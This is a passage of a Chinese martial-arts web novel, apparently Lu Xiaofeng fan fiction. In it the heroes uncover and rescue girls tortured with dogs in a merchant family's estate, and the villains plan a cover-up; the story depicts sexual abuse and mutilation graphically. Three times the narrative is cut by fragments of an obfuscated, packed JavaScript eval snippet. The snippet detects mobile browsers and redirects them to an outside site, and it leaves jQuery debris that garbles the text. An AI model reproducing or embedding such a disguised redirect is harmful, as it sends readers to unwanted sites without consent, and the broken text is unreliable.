几十排檀木书架整齐有序摆放,每排之间间隔三五步,刚好够一个人穿行其中。书架上一半放着书,一半放着数不清的精致小木盒。
随手取下几本书翻看,都是制香原理和秘方,揭开几个木盒,里面存放的是不同年份紫烟香。
这些东西出现在秋全的书房很合理,没什么破绽。
一点红自然不相信屋里只有这些,越干净越可疑。
将书籍和木盒小心归位,他正想找一找有没有密室,不知碰到何物,忽然烛光乍亮,秋全的卧房里随机传来喊声。
“有贼人!在书房!”
果然有猫腻。
若真像看到的这么干净,何必设下机关严防死守。
一点红脚尖轻点,燕子般落在高而粗的梁木上,屏息凝神,完美融入暗色之中。
秋全衣衫不整的匆匆而来,却并没有着急检查书架,他在书房转了一圈后,面上慌张的神色就逐渐淡去。
招来看守的侍卫,低声耳语几句后,就又回房灭灯睡觉。
月亮西沉,陷入层层云雾之中。
高度警戒大半夜的守卫耐不住困意,昏昏沉沉的倚着柱子,小鸡啄米似的频频点头。
一阵风吹过,额角的碎发扫过眼尾,守卫猛的睁眼。
夜色中,一切井井有条,毫无异样。
另一边,陆小凤陷入了举步维艰的境地。
秋武里的院子里倒是一个看守侍从也没有,没有点灯,静默幽暗,像个无人居住的荒废之地。
陆小凤从金流那里领下任务时,是抱着非常游刃有余的心态。
秋家虽然有钱,但只是商户百姓,并不涉足江湖。秋全和他的几个儿女从未习过武,府中的侍从守卫也只是粗通拳脚,不足为惧。
陆小凤不自傲,也不自谦。
以他们几人的本事,想要摸清秋府的老底,岂不是易如反掌。
不过话虽如此,谁知道秋武里居然不养人养狗啊!
没人能体会到他上一秒还趴在墙头疑惑为什么没人,下一秒就看到暗色中亮起数不清的青绿色眼睛,听到无数道低沉鼻息粗/喘时的心情。
狗,全是狗,数不清的狗。
小山一样的体型,佝偻蜷缩在铁笼里,乱蓬蓬的毛发,粗壮有力的腿压着血红肉块,尖利的牙齿撕咬啃食,凶恶逼人,腥臭难耐。
某种程度上,用狗看家护院比用人更管用。
它们实在太过敏锐,稍微有点动静都逃不过他们的耳朵、眼睛和鼻子。
万幸院子里的狗实在太多,血肉的腥臭味太浓重,严重干扰了他们的嗅觉听觉,让它们暂时没能分辨出陌生气味,听不到那道不属于犬类的清浅呼吸。
想起出来前潇洒的做派,陆小凤懊恼的把头埋进臂弯。
陆小凤啊陆小凤,混迹江湖这么长时间,还没学会不要轻视大意任何人任何事吗?还是被想在喜欢的姑娘面前出风头挣表现的念头,冲昏了头脑,理智全无了。
懊恼归懊恼,他可没想过放弃。
毕竟火中取栗这种事,陆小凤最常干,也最喜欢干。
只是该如何避开那些狗……
思索间,胳膊上突然传来一阵刺痛。
陆小凤低头一看,原来是只凶神恶煞的三花猫,正恶狠狠的举着爪子,抓挠着他。
人类,挡路了!
他下意识让开,目送三花猫优雅路过。
盯着那四只轻快的小白脚,陆小凤缓缓眯眼,嘴角上扬。
“喵呜!”
睡梦中的秋武里被一声惨叫惊起,没等他彻底清醒,屋外又响起此起彼伏的犬吠声。
他赤脚踩着冰凉地面,半梦半醒跌跌撞撞的去开门。
晚上才服了麻药,此前一直安安静静呆在笼子里的恶狗们,正不要命似的朝着墙外伸进来的一根树枝狂吠。
树枝上下摇晃,一条黄白相间的长尾巴也随之晃动,勾得那些蠢狗不要命的撞笼子,吠叫不止。
“蠢货蠢货!”
抽出腰间缠着的鞭子在笼子上狠狠一抽,疯狂的犬吠声稍稍克制停歇。
“哪来的死猫!府里的猫早就被我杀得干干净净,哪个不要命的敢偷着养猫!”
秋武里试图将那只嚣张的蠢东西打下来掐死,三花灵活的躲开鞭子,回头不屑的看他一眼,往树下一跳,瞬间消失无踪。
他气的半死,转身拿那些半点禁不起挑逗的蠢狗撒气。
鞭鞭见红,血肉横飞。
趁此机会,陆小凤本完全可以直接潜入秋武里卧房探查,可隐约传入耳中的低泣声,让他在进屋的前一刻改变了方向。
借着这些嘈杂响动的掩饰,他顺利绕过恶犬集聚的前院,绕到看起来空空如也的后院。
后院地上铺满腐烂落叶,几排小屋大门紧闭,空气中萦绕着一股说不清道不明的恶臭。
有人在哭。
偷偷的、压抑的、极力克制却又无法抑制的啜泣。
后院里一片片犬舍般的低矮房屋,没有光亮,没有窗户,唯一能打开的门小的可怜,只能半跪着爬进爬出。
陆小凤循声凑到一间屋子门口,侧耳倾听,正是这里面有人在哭。
他没有贸然出声,而是用指节很轻很轻的敲了一下木门。
里面的哭声骤然消失,转而变成一种紧捂着嘴,指缝中泄露出的急促喘息。
“别害怕。”陆小凤谈情般的柔声劝慰,“我不是秋武里,不会伤害你们。”
门里的喘息声更重,更急促。
许久后,有人小心的试探。
“你是谁?”
陆小凤思考片刻,眼睛发亮的说:“是一位姑娘派我来的,她很善良,很喜欢帮助别人,尤其是女子。”
听到是位姑娘让他来的,屋里的人似乎安心很多。
有沉重的东西在地面上拖行,不断朝门边靠近。
等屋里的人再次开口,被厚实门板掩盖的声音变得更加清晰。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16431033|184905||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
她在努力靠近他。
“是不问姐姐让你来的吗?是她让你来救我们的吗?”
她一边抽泣一边说话,语速很快,很急切,满怀希望憧憬。
“姐姐她们还好吗?那个混蛋有没有打她们?呜呜呜,你先别管我,去看看十三……”
意识到门外的人不一定知道十三在哪里,她竭力让自己冷静下来,扼制住连绵的哭泣。
“就在我左边第三个门里面,十三被关在里面。她昨天被带走了,那些狗咬伤了她,被送回来后就没动静了,我很担心她。”
从她混乱的话语中觉察到某些极为可怕的东西,陆小凤忍不住眉头紧锁。
听从她的指引走到关着十三的小屋门前,他抬手轻轻敲门,里面没有任何动静。
把耳朵紧贴在门板上,听不到里面的呼吸声,空气在窄小门缝中交换,带出一股难以言喻的恶臭。
他心中一冷。
陆小凤一边注意着前院的动静,一边把小门挨个敲了个遍。
四十二个小屋,除了那位哭泣的姑娘,只有三四个给出了轻微的反应。
或敲敲地面,或抓抓门板,或痛苦喘.息,却没有一人说话。
回到那间屋子前,陆小凤沉默好一会儿,才再次敲响门板。
那姑娘还守在门边,急切询问:“十三还好吗?她怎么样了?”
陆小凤不喜欢撒谎,更不喜欢对女人撒谎。
可现在,他不敢不撒谎 。
“我没听见她说话,但听见她敲了敲门板。”
姑娘先是担忧,马上又冷静下来,低声喃喃。
“没关系没关系,活着就好,活着就好。”
门外,陆小凤仰头看空无一物的漆黑天空,使劲眨眼。
“你们是谁?怎么会被关在这里?”他轻声问。
门里的声音瞬间戒备起来,“不是不问姐姐叫你来的!”
陆小凤答:“不是,但我的……”
他想了想,“我的朋友认识你那位说不出话的不问姐姐,还有听不见的不闻,她们在偷偷喂猫,对不对?”
“是的,那就是不闻不问姐姐!”
门后的姑娘又放下戒心,她知道现在不是交谈的好时间,飞快的把知道的事情交代一遍。
“他把我们分开关着,每天会被带走一个或几个,那个人不让我们穿衣服,把我们关进去让狗咬我们。”
“好多人都死了,死了就被吃掉。我的脚被啃掉了很多,但我活下来了,我很厉害。”
陆小凤背靠门板,安静的听着,忍不住点头。
“对,你真的很厉害。”
小姑娘的声音越来越浅,陆小凤思绪游离,止不住的迷茫,甚至有些后悔。
是不是他一开始就不该劝阻金流,或许就像她说的,直接把秋家上下全都杀光才是最好的选择。
他该怎么做?
他想怎么做?
怎么做才是对的?
四十二个房间里,有多少人是死在他劝金流慎重冷静的这一两天里?
至少那个叫十三的小姑娘一定是。
如果金流要杀秋武里那天他没有出声阻拦,如果那天就杀了他……
“喂喂,别偷懒了。”
一颗石子准确无误的砸到陆小凤的脑门,他捂着脑袋抬头看过去。
12. 第十二章
泛着幽深蓝调的夜空下,金流背着血色长刀,半跪着探身,她在笑,眉眼阴郁又邪气。
枯叶落入水面一般的落在陆小凤身边,眼神在后院里转了一圈,她按着他的肩膀拍拍。
“不错嘛,居然这么快就找到地方。”
说完,不等陆小凤反应,朝门后的人说:“不闻不问求我来救你们,你们谁是十三?谁是三十?”
门后的人听见女人的声音,霎时激动起来。
“我是三十,十三就在我旁边第三个……”
“好了,不用说那么多。”
金流打断她的话,低头观察小门上的锁 ,取下头上的簪子一边捣鼓一边说:“找对人就行,总之不闻不问甜甜蜜蜜的求了我,又给我写了欠条,所以我答应来救你们。你们什么都不用管,听我的话就好。”
语毕,她敲敲呆瓜小凤凰的脑袋,“检查过没,这里关了几个人,活着的有几个?”
陆小凤把她拉远些,咬着耳朵小声说:“四十二个房间都有人,活着的加上她,最多五个。”
金流咬手指思索片刻,面不改色道:“三十七具尸体,一次性搬出去还不叠成山了,目标太大,不好隐匿。”
她利落做下决定,“尸体先不管,把还喘气的救出去就行。秋武里还在前院打狗,你去放火把他的屋子烧了。”
说着她顿了顿,“再看看其他能放火的地方也放几把,反正秋府有钱不怕烧。浑水好摸鱼,我趁机把她们带走。”
陆小凤当然无所不从,在离开前他突然攥住金流的手腕,在她看傻瓜的目光中,期期艾艾的发问。
“你现在还想杀了他们吗?”
金流还以为他要说什么,翻了个大大的白眼。
“还是有点想的。不过我虽然搞不懂你们说的什么有罪什么无辜,但我既然做了杀手,就要按杀手的规矩办事。前辈说的对,杀手拿钱办事,买主怎么要求我们就怎么干,要是怕麻烦就别干杀手。”
“所以秋武里要是不是鬼新郎,那我干嘛要杀他。”
不做杀手当然不行,不做杀手她还怎么赚钱过好日子,怎么实现被珍珠包围的美梦。
不过看到一个盘踞着层层毒蛇,堆满人骨的蛇窝,还论什么有的蛇无辜,有的蛇清白,着实好笑。
———
后半夜,万灵抱着绿豆坐在地上,背抵着门睡得昏昏沉沉。
门被推了两下,猫舔舔她的手背,她才清醒过来,紧张兮兮的问谁啊。
听到陆小凤的声音,她赶紧开门。
“怎么就你一个?他们还没回来吗?”
陆小凤疲惫摇头,坐下来倒茶。
伸手一摸,茶壶还是暖的。
万灵笑着接过茶壶,“知道你们回来肯定又累又渴,每次茶冷了我就去热一热。”
“多谢。”
平时陆小凤一定会说些暧昧又好听的话,夸赞万灵的细致入微,可今夜,他真的没有力气,两撇神气活现的小胡子都耷拉下来。
见他这副样子,万灵又紧张起来,“不顺利吗?”
“不,挺顺利的。”
非常顺利的揭开了虚伪面纱,只是其下掩盖的罪恶太过血淋淋。
惊吓到他了。
“那金……”
她刚开口,外面突然传来吵吵嚷嚷的大喊大叫。
“走水了!”
“快救火!”
万灵惊慌了一瞬,心念一转,看向陆小凤。
“是你们做的吧。”不等陆小凤回答,她又问:“金姑娘去做什么了?危险吗?”
想起肩扛手提再背着五个人,一边弓着腰喊重,一边含含糊糊发誓再也不接这种苦活的金流,陆小凤撑着脑袋,忽然发现自己的心在笑。
怎么会这样?
他从来是想笑就笑,想哭就哭,飞鸟一般自由自在,潇潇洒洒的浪子,为什么会在想起一个人时暗戳戳的藏在心里笑。
一定是他的心在跳,在警告他。
得知金流一带五,万灵坐立不安,担忧的盯着门外。
火势蔓延,几乎照亮半边天。
半个时辰后,杀手大哥回来了。
又过半个时辰,阿飞小弟也回来了。
金姑娘还没回来。
就这样提心吊胆的等到天边泛起一丝白线,秋府的大火被彻底扑灭,满天烟尘弥漫,笼罩整个秋府,金流终于回来了。
她从窗口翻了个身滚进来,冲忧心忡忡的万灵摆摆手,举起茶壶咕噜咕噜喝了好久。
灌了一肚子温水后,她被抽筋一样软下来,搭在阿飞身上,丧头丧脑的喋喋不休。
“不干了,再不干了。累死我了,以后再不接这种单子……”
阿飞心疼的放松脊背,让她能趴得更舒服。
“好,我们不干这些。”
她想做什么他就陪他去做,想让他做什么他就去做,只要她能开心快乐。
金流奖励似的抱着少年剑客的脸啃了一口,看他赧然垂眸,一秒变红变热,连忙蹭到一旁凳子上坐下,举起困的睁不开眼的绿豆端详。
看起来马上要沸腾,可别烫到她了。
见此,一点红撇开眼,陆小凤低下头,万灵已经习惯,只是脸颊有些泛红。
金流一点不害羞,说起正事。
“今晚收获如何?”
三个男人互相看看,最后还是成熟杀手先开口。
“秋全院里守卫森严,书房里很多制香方面的藏书,还有近五十年每年香神主祭制出的紫烟香。”
他心不在焉的擦了擦剑柄,继续道:“进入书房后,我不小心触动机关,被他察觉,他叫来守卫,好像是在吩咐他们守好地窖。”
安静听着的阿飞露出恍然大悟的表情。
“我在花园水池下发现一座地窖,原本看守很松,进去后不知为何突然加强了戒备,被困在里面无法出来,趁着失火混乱才跑了出来。”
原来是因为你啊。
阿飞冷冷的看着一点红,冷面杀手维持不住冷脸,尴尬的频频喝茶。
本该出来解围的陆小凤老神在在的端坐着看好戏,万灵无法,出声打破古怪氛围。
“地窖里有什么啊?”
“花。”阿飞毫不犹豫答道,“数不清的花。”
地窖几乎有三分之一个秋府那么大,漆黑无比,半点光都透不进。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16431034|184905||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>正是借着浓稠的黑暗和广阔的空间遮掩身形,他才能躲过秋府侍从严密的搜索。
侍从结束搜查离开后,他吹燃随身携带的火折子,借着那点微弱的光芒,在地窖中一点一点摸索细看。
坛子,一模一样的坛子,数不清的坛子。
有的很新,有的半旧,有的摸上去满是湿滑青苔。
阿飞挑挑拣拣的打开几个不同年份的坛子,坛子里密封着不同年份的凋谢的紫烟花,也就是紫烟香的原材料。
开坛瞬间或轻或重、或浓或淡、或甜或苦的香味扑面而来,尽管他已经在闻到香气的瞬间就屏住呼吸,但在半密闭的地下,只要一开坛,想不吸入香气是不可能的。
一开始并没有什么异样,一刻钟后,他脑中开始飘飘然,脚下不稳,眼前浮现出一些画面。
“什么画面啊?”金流张大眼睛,很是好奇。
少年对上她的目光,面上才淡去的红意再次爆发,还传染到脖颈、耳根,就连呼出来的气都热气腾腾。
陆小凤“哈”了一声,“果然年轻。”
一点红“哼”了一下,“不知羞耻。”
阿飞只是年轻青涩,并不痴傻,他早看清两个男人的心思,对于他们的嘲讽,他很想坐到充耳不闻、置若罔闻、置之不理,可是不行。
少年人就是少年人,活的不够久,再想装出游刃有余的淡然,还是掩不住皮薄的羞涩。
一屋子男男女女都心下了然,只剩规规矩矩的万灵不明所以。
“什么啊?你们在说什么?”
“乖,等我找个时间教你。”金流跟猫一起窝进她怀里,用脑袋顶轻轻撞撞她心口。“现在先答应我一件事,一会儿不管听我说什么,都不哭好吗?”
万灵想了想,认真回道:“我尽量。”
一夜未眠,金流困倦的长叹一声,像绞死大树后垂落的藤蔓。
“秋文里成鳏夫后心理变态,买了很多年轻女孩,名义上让她们做侍女,实则对她们虐待、侵犯、故意致残。三年里他买了上百个女孩,折腾厌倦了的就送给秋武里。
秋武里喜欢养狗,把女孩们当狗一样赤/身裸/体关着,每天选几个塞进狗笼任它们撕咬残杀。活着的继续养着下一次再放进去,死了的剁碎喂狗。”
她一开口,屋里就死光了似的寂静,只剩她平静的诉说着那些令人发指的行为。
“刚才去看的时候,四十二个女孩里头有五个还有呼吸,我把她们送去邕情那里,她只救活了两个。”
金流仔细想了想,“好像是叫三十和四十七。”
说完后,她惊奇的看着万灵。
“你居然真的没哭。”
一点颤动从身下传来,金流这才注意到,少女身子紧绷着,如同马上要崩断的弦。
“对呀,我怎么没哭?”万灵也很不解,她擦擦眼角,肿胀却干涩。
不过一天后,她的疑问就得到了答案。
那时她会明白,原来她曾经那么多的眼泪和哭泣,只是在祭奠自己的软弱无力。
如果她能像金流一样,拥有足够巨大的力量时,面对一切的伤害和罪恶,她满心满眼都只剩“杀了他们杀了他们”。
13. 第十三章
秋府管家秋合灰头土脸的从人堆里挤出来,地上横七竖八的躺着累瘫的下人。
他有心责备,自个却也累的气喘吁吁,眼冒金星。
“起开,挺一边去!”
踹开挡路的小厮,绕过坍塌的房屋,他看到老爷正沉着脸坐在正厅,大少爷满脸怒容像是随时会手撕任何凑到他面前的人,就连鲜少露面的二少爷也静默坐在一旁。
完了完了。
秋合不停擦汗,脚步踌躇不前。
秋全注意到门口鬼鬼祟祟的身影,厉声道:“滚进来。”
秋合赶忙卑躬屈膝的进去,向老爷报告大火已被全部扑灭,损失挺大,尤其是大少爷的院子,几乎被烧的片瓦不留。
秋武里气得七窍生烟,桌上的杯碟茶盏全被他秋风扫落叶似的拂落在地。
“肯定是他们!绝对是他们!我要把他们一个一个,一个一个全扒了皮喂狗!”
“住嘴!”
秋全出声呵斥,管家见状连忙识趣退下。
等到没有外人后,秋全起身重重甩了秋武里一个耳光,扇得他半张脸都肿了起来。
“废物。”他仍旧维持着老爷的体面,不乱方寸,“一天到晚只知道鼓弄那群脏狗,明知道他们住在府中,还不知收敛。总有一天,自己也得喂到狗嘴里。”
秋武里大气不敢出,窝窝囊囊的坐下。
“爹,那你说怎么办?”
秋全看向病恹恹按着额角的秋文里,柔声道:“我想阿文一定有好主意。”
昨夜的起火点主要在秋武里的院子和前门正厅,秋全的住处没有遭受波及。
晨光穿透精美窗格,正好洒在一身雪白的秋文里身上,让人总疑心他下一秒就会被晒化。
丝丝缕缕的烟熏火燎气味萦绕鼻尖,他捏着手帕捂着轻咳几声,头上象征鳏夫身份的白色抹额也跟着颤动。
“办法倒是有一些,就看爹舍不舍得让小妹伤心?”他轻声问。
秋全本打算对他的话无所不依,可一听到秋香里的名字,就下意识犹豫。
“怎么会牵扯到小香身上?”
秋武里一听这话,顾不得肿痛的脸颊,大声反对。
“爹你还真打算听他的话啊!小妹本来就整年整年的不开心,近几年更是鲜少露出笑容,你不想方设法让她多笑笑,还要看她伤心落泪不成……”
秋文里垂着眼眸,无声嗤笑。
听听,真是好一番拳拳爱女、爱妹之心。
“你闭嘴。”秋文烦躁的打断他,“小香自然重要,但若是真让他们把你们的老底翻出来,你们就完了,秋府就完了!”
见秋武里不敢吱声,他又缓和了面容,“爹明白你们不是坏孩子,各有各的苦衷,做那些事只是想宣泄宣泄。孩子嘛,都有不懂事的时候,只要这次咱们遮掩过去,以后改正了就都还是好孩子。”
他盯着秋文里,眼神狠辣,语气柔和,“阿文也是这样想的吧。”
秋文里自然只能点头 ,“我明白爹的苦心,以后自会改正。”
“当初留下他们只是为了让小香开心,谁能想到他们动作如此快,如此不留情面。现在我们该如何……”秋全试探发问。
“最好的处理办法,爹比我们都清楚。”
秋文里摊开手,掌心躺着一截短而细,尾端焦黑的木棍。
秋武里一头雾水,捏起来仔细端详,“什么玩意儿?”
秋全看清他手里东西的瞬间,立马脸色大变,俯身死死握住他的轮椅扶手,借以克制。
他明明藏的很好,十几年都没人发现,为何会被秋文里知晓。
秋文里抬手在秋全脖子上一抹,“事成之后,找地方埋了,或者剁碎让大哥养的东西吃掉,干干净净,不留痕迹。若有人问起,只说江湖上的人,行踪不定,谁能知晓就好。”
“你什么时候发……”秋全面上笼着阴云。
“您何必在意我是什么时候发现的,毕竟我也是秋家人,不会自讨苦吃,自寻灭亡。”
秋文里仰头靠在轮椅靠背上,瘦骨嶙峋的肩膀耷拉着,坦然示弱。
纵然平时各怀鬼胎,相互猜疑,关键时刻血脉依旧是最坚韧的联系,秋全只能选择信他,可仍有些犹豫。
“小香喜欢她们,尤其是那个万灵。除了白月,难得见她如此喜欢谁,若是杀了她,小香定然会难过。”
提到已逝的夫人,秋文里面色更加惨白,咳得抑制不住的弓起细瘦腰肢。
努力喘过气后,他咬着牙一字一字从喉间挤出。
“小香还太小,很多事她不明白,需要像父兄一样可靠的至亲替她指明道路。”
他想了想突然笑道:“当然我们可以放万灵一码,让小香不至于太伤心。”
“真要下手,单单放过一个岂不后患无穷。”秋全不赞同。
“爹难道忘了,前些日子,万家曾派人送来小女儿的画像,想要与我们家结亲。”秋文里意有所指。
秋全一开始不太理解,对上他意味深长的视线后,脑中灵光一动,心领神会的顺胡须轻笑。
“我说瞧着眼熟,原来是万家的姑娘。”
前些天万家派人送来女儿的画像,说的是无论女儿与父子三人中的谁结亲,对彼此而言都是一桩美事。
想攀附秋家的太多,他们只草草看了一眼画像,就都婉拒了这门亲事。
如今发现别人待字闺中,珍之重之的千金小姐,无意来到他们府中,他们自然要通知焦心不已的万家来接回去。
届时,面对如此合理的理由,他们自然无法拒绝,客人们也不会起疑心。
等他们处理好剩下客人,若那时小香要还念着万灵,不如就让秋武里把人娶回来,放在家里讨小香欢心。
真是妙哉妙哉。
他又给了秋武里一个耳光,责令他回去把院里的东西都处理干净,又叫来秋合,让他赶紧去请万老爷来一趟。
———
“喵呜喵呜~”
清晨,熙熙攘攘的瓮城主街,金流正艰难对付着怀里的猫。
猫被她塞在袖子里,鼓鼓囊囊一大团,不停蠕动挣扎,引得行人纷纷注目。
她拉扯着万灵挡在身前,绿豆借机从皱巴巴的墨绿长袖里艰难探头,小口的含住她的手腕。
“好了好了,马上就到。”她安抚道。
邕情的医馆开在一条小巷尽头,一大早里面就挤满了因头疼脑热前来求医的病人。
隔着人群发现金流和万灵的身影,她心内焦急,脚下却实在走不开。
金流冲她比划比划,径直带着万灵掀起门帘,进了后院。
后院晾晒着各种各样的草药,药香弥漫,完美的掩盖了肉.体腐烂的气味。
最角落的屋子前搭了一个金银花架,花藤攀爬蔓延,严严实实挡在门后的光景。
金流推开门进去,一进门便闻到一股复杂的气味,掺杂着草木香气和血肉腥臭,令人忍不住皱眉屏息。
日光被屋外的藤架挡完,屋里昏昏暗暗,就算白日也要燃烛照明。
小小的屋子里,靠墙摆放着两张简陋的木床,每张床边都放着一个铜盆,铜盆里鲜红的血水,把搭在盆边的布帕染得通红。
昨夜从秋武里院中救出来的唯二幸存,三十和四十七就被邕情藏在这间屋里。
虽然金流把人往她面前一带,什么都没告诉她,可她还是彻夜不眠的救治照料,勉强保住了两条小命。
三十很是警觉,金流推门的瞬间她就从梦中惊醒,挣扎着坐起,防备的紧贴墙面。
“小心,伤口会撕裂。”
万灵赶紧扯下蒙面的轻纱,上前撑住她的后背,心疼的检查她缠满全身的绷带,发现渗血的地方,就四处找药想给她换。
金流慢悠悠路过四十七,小姑娘还昏睡着,眉头紧皱,神色惊惶,俨然一副深陷噩梦的模样。
她松了口气,活着就好,不然一晚上忙忙活活,最后就救活一个,没法跟不闻不问交代啊。
信步走到浑身长满刺不让万灵碰的三十身前,抽出袖子里的猫,把猫双手高高举过头顶。
“锵锵,你不闻不问姐姐喂养过的猫,她们说你认得她,见到猫你就会乖乖听话。”
三十呆愣许久,小心翼翼的接过猫,用满是伤口的脸颊轻贴绿豆毛茸茸的胸口。
“好软。”她抿着干裂的唇,很小很小的笑了一下。
万灵看着看着,泪水突然夺眶而出。
三十懵懵懂懂的看她,伸手接住一滴她落下的泪水,感受着温热的水珠在掌心滚动冷却。
这一刻三十对自己还活着终于有了实感。
指尖蜷缩,犹豫着朝万灵伸去,发现她的眼泪咕噜咕噜,怎么也擦不完,三十为难的捂住她的双眼。
“不要哭,忍不住的话也不要哭太久,眼睛会坏掉。”
这是十三告诉她的,所以她很少哭,除非真的忍不住。
等到三十整个手心都被自己的泪水浸透,万灵才勉强止住泪意。
邕情也忙里抽闲,硬挤出一点时间来向她们介绍二人的情况。
三十身上其他伤还算好,最严重的是右腿。因为被狗啃的只剩一层皮肉吊着,时间长已经腐烂生蛆,邕情不得已只好给她切掉,不然难以保住她的小命。
至于四十七……
邕情心头发闷,无声叹息。
“也不知道她究竟是怎么活下来的,手脚都没了,脸也被啃了一半,身上烂的比从刚从坟里挖出来的尸体还厉害。”
她边说边往那些腥臭肮脏的伤口上倾倒烈酒消毒,四十七感知到疼痛,伤痕累累的身躯不住颤栗。
万灵感同身受,不忍的撇开头闭上眼。
“昨晚她醒过来一次。”
邕情起身净手,万灵赶紧拿出手帕给她擦汗,她深深望了万灵一眼,眼中满是数不清道不明的情绪。
直看得万灵摸不着头脑,她才挪开视线。
“痴痴傻傻,什么也搞不明白了。”
前面的病人已经在催促,邕情迈出房间,又回头道:“不过对她来说,傻了算是最好的结果吧。”
“也是。”
万灵不敢想如果她是四十七,每天清醒的看着自己残缺腐败的身躯,那会是多残酷的折磨。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16431035|184905||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>见她丧着脸点头,金流弹了弹她的脑门,嗤笑道:“也是个鬼啊,傻了就真的只能任人宰割,就算大仇得报也不会觉得痛快,有什么好的。”
三十紧紧抱着绿豆,之前在金流怀里总是不安生的猫,像是感受到了什么,乖巧的舔着她的下巴。
她对四十七的痴傻没有很大的反应,所有的眼泪悲伤痛苦绝望,早在睁开眼没有找到十三时,就已经消耗殆尽。
但她没时间一蹶不振,还有那么多跟她一样的女孩被困在炼狱之中。
纵然她能做的不多,但也不能什么都不做。
“你可以去救救不问姐姐她们吗?你之前说姐姐给你写了欠条,所以你才来救我们。我也可以写,只要你把她们救出来,我什么都可以给你!”
金流扯出被她攥紧的手,人小小一只,力气还蛮大。
朝泛红的手背吹吹气,她左看右看,找出一个只剩三条腿的小板凳,稳稳当当坐下。
条件有限,潇洒翘腿是不可能了,但谈生意的架势必须摆出来。
“我其实是个杀手,本职工作是杀人不是救人。至于昨晚上嘛,是个例外。”
她没完全拒绝,饶有兴致的上下打量三十。
“况且你能给我什么,你什么都没有啊。”
三十并不气馁,还想继续说,金流却懒得再听,没精打采的犯困。
“你的不问姐姐自有安排,用不着你给我打欠条。不过既然你活蹦乱跳的,我还真有件事想问你。”她眉头上挑,上身下压,“你知道鬼新娘是谁干的吗?”
其他乱七八糟的事她一点不在乎,她只想知道是谁整出的鬼新娘,她要杀了谁才能回去给寒江雪交差,拿到那三颗珍珠。
“我没听过。”三十真诚的说,“我来的很晚,不像不问姐姐她们知道的那么多。”
金流瞬间泄气,有气无力道:“那就说点你知道的。”
她知道的……
三十冥思苦想,从自己有记忆开始说起。
“我很小很小的时候就被人拐走,蒙着眼睛,还有很多小女孩,我们被送到一个地方。我们被关着,什么也看不见,关了很久。”
“后来有人说要买我们,很摇很晃,过了很久。大概是一年前,我们被送到这里,买我们的是秋文里,他说让我们做他的侍女。可是他打我们,强/暴我们,他还砍断我们的手或者脚,让我们跟他一样变成残疾。”
“他折腾够了,厌烦我们,应该是一个月前吧,我们被他送给了秋武里。我们被分开关在小屋子里,里面很黑很小。”
“秋武里不让我们穿衣服,每天带走一个或几个,把我们关进笼子让狗咬我们。他有时让我们自己选择,说可以选一个讨厌的人出去。”
“十三很聪明,她悄悄告诉我们,那是秋武里的诡计。我们只讨厌坏人,不会讨厌同伴。他是想让我们互相憎恶,彼此仇恨,自相残杀,我们不能被他骗了。十三每次都会让我们选最厉害的或者伤得最轻的出去,她说这样大家活下来的可能就更大。”
说到这里,她趴在床边探头看四十七。
“十三说她最聪明,四十七说她最厉害,所以她们俩出去次数最多。”
金流感到费解。
在她生活的末世里,活下来的人类要么是聪明人,要么是强者,又弱又笨的人早在末世初期就死光了。
可在这里,最聪明的那个在大火中化为焦骨,最厉害的那个变得痴痴傻傻。
就剩一个又笨又弱的,活到了最后。
真是奇怪。
听不到新鲜消息,金流百无聊奈的带着万灵推门离开。
门外的金银花落了一地,邕情背对着二人,眼睛望着远方放空,手还在糟蹋着可怜的花朵。
“别浪费啊。”
金流高高兴兴的蹲下捡花,猫被暂时留给三十做吉祥物,袖子里空空荡荡,正好拿来装花。
她听陆小凤说过,金银花能泡茶,她还没喝过呢,正好捡回去尝尝。
出现一双碍事的脚,她拍拍邕情的小腿,“麻烦让让。”
神思恍惚的大夫后退几步,头差点顶到藤架。
“小心。”万灵踮着脚伸手垫在她头顶,防止心不在焉的大夫撞疼脑袋。
“我……”邕情张嘴,一阵湿冷的风恰好吹来,她翻滚的思绪慢慢冷却下来。
面对万灵困惑的目光,她摇头,“没什么,我该去给她们熬药了。”
回秋府的路上,万灵越想越觉得不对,“邕大夫今天好怪。”
袖子里沉甸甸、甜津津的,沉浸在白捡到东西的喜悦里,金流完全没注意邕情的异样。
喝上香香甜甜的金银花水后,她满足的窝进躺椅。
“出去为什么不带我?”阿飞郁闷了一早上,此刻终于问出口。
“真是粘人的小狗狗啊。”金流勾勾他的下巴,“她们被男人害的太惨,带你过去她们会害怕。”
陆小凤挤开阿飞,故作可爱的夹着嗓子,“狗狗可没有凤凰听话可爱。”
一点红没眼看。
阿飞气鼓鼓的瞪他。
万灵被震撼得合不上下巴。
14. 第十四章
正午时分,侍女鱼贯而入,手捧美味佳肴,笑脸盈盈生辉。
